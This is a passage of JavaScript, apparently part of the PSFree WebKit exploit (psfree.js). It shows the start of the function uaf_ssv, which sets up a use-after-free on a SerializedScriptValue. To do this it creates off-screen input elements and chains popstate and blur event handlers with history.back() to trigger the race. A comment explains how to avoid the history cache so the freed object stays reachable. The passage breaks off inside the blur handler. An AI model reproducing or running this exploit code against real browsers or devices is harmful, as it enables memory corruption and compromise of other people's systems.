Function uaf_ssv

g2all/700/psfree.js:180–336

(fsets, index, index2)

// called. History will cache the SSV at its m_lastStateObjectRequested if you
// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
async function uaf_ssv(fsets, index, index2) {
  const views = [];
  const input = document.createElement("input");
  input.style.position = "absolute";
  input.style.top = "-100px";
  input.id = "input";
  const foo = document.createElement("input");
  foo.style.position = "absolute";
  foo.style.top = "-100px";
  foo.id = "foo";
  const bar = document.createElement("a");
  bar.id = "bar";

  log(`ssv_len: ${hex(ssv_len)}`);

  let pop = null;
  let pop2 = null;
  let pop_promise2 = null;
  let blurs = [0, 0];
  let resolves = [];

  function onpopstate(event) {
    const no_pop = pop === null;
    const idx = no_pop ? 0 : 1;

    log(`pop ${idx} came`);
    if (blurs[idx] === 0) {
      const r = resolves[idx][1];
      r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
    }

    if (no_pop) {
      pop_promise2 = new Promise((resolve, reject) => {
        resolves.push([resolve, reject]);
        addEventListener("popstate", onpopstate, { once: true });
        history.back();
      });
    }

    if (no_pop) {
      pop = event;
    } else {
      pop2 = event;
    }
    resolves[idx][0]();
  }

  const pop_promise = new Promise((resolve, reject) => {
    resolves.push([resolve, reject]);
    addEventListener("popstate", onpopstate, { once: true });
  });

  function onblur(event) {
    const target = event.target;
    const is_input = target === input;
    const idx = is_input ? 0 : 1;
    log(`${target.id} blur came`);